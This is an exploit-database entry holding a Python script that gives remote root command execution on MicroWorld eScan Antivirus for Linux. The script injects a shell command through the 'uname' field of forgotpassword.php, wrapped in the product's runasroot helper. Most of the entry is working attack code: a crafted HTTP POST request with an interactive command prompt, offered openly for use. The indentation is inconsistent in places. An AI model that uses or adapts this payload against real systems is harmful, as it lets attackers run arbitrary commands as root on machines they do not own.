MicroWorld eScan Antivirus < 3.x Remote Root Command Execution

2010-03-13T00:00:00
ID 1337DAY-ID-9639
Type zdt
Reporter Mohammed almutairi
Modified 2010-03-13T00:00:00

Description

Exploit for unknown platform in category remote exploits

                                        
                                            ==============================================================
MicroWorld eScan Antivirus < 3.x Remote Root Command Execution
==============================================================

#!/usr/bin/env python
import sys
from socket import *
 
#auther: Mohammed almutairi
#(Sa.attacker@gmail.com)
"""
MicroWorld eScan Antivirus < 3.x  Remote Root Command Execution
Package MWADMIN package vulnerabilities (linux)
The Base Packages (MWADMIN and MWAV) must be installed before eScan
Link:
http://www.escanav.com/english/content/products/escan_linux/linux_products.asp
infcted: aLL version 3.X eScan linux
1-Escan for Linux Desktop
2-Escan for Linux file Servers
3-MailScan for Linux and webscan
Tested On RedHat  and Fedora
ULTRA PRIV8 :)
 
Description:
 
From /opt/MicroWorld/var/www/htdocs/forgotpassword.php:
include("common_functions.php");  <---> (1)
 
if ($_POST['forgot'] == "Send Password")
{
        $user = $_POST["uname"]; <--->(2) insecure:(
 
 
vulnerable code in forgotpassword.php and common_functions.php
in (1) $runasroot = "/opt/MicroWorld/sbin/runasroot";
we can injection through via the file forgotpassword.php As you can see (2)
with  remote root Command Execution
>> eScan.py www.***.com
eScan@/bin/sh:$Sa$ => reboot
[*] Done! sent to: www.***.com
"""
 
def xpl():
    if len(sys.argv) < 2:
                print "[*] MicroWorld eScan Antivirus Remote Root Command Execution"
                print "[*] exploited by Mohammed almutairi"
        print "[*] usage: %s host" % sys.argv[0]
        return
 
    host = sys.argv[1]
    port = 10080 # default port
    cmd = raw_input("eScan@/bin/sh:$Sa$ => ")
    sock=socket(AF_INET, SOCK_STREAM)
    sock.connect((host,port))
        sh="/opt/MicroWorld/sbin/runasroot /bin/sh -c '%s'" % cmd
 
        sa= "uname=;%s;" %sh # (;sh;)  ---> Here Play See to ^(2)^
        sa+= "&forgot=Send+Password"
         
        s="POST /forgotpassword.php HTTP/1.1\r\n"
        s+="Host: %s:%d\r\n"%(host, port)
        s+="User-Agent: */*\r\n"
        s+="Accept: ar,en-us;q=0.7,en;q=0.3\r\n"
        s+="Content-Type: application/x-www-form-urlencoded\r\n"
        s+="Content-Length: %d \r\n\r\n"%len(sa)
        s+=sa
 
    sock.sendall(s)
    print "[*] Done! sent to: %s" % host
    sock.close()
 
if __name__=="__main__":
        xpl()
    sys.exit(0)



#  0day.today [2016-04-20]  #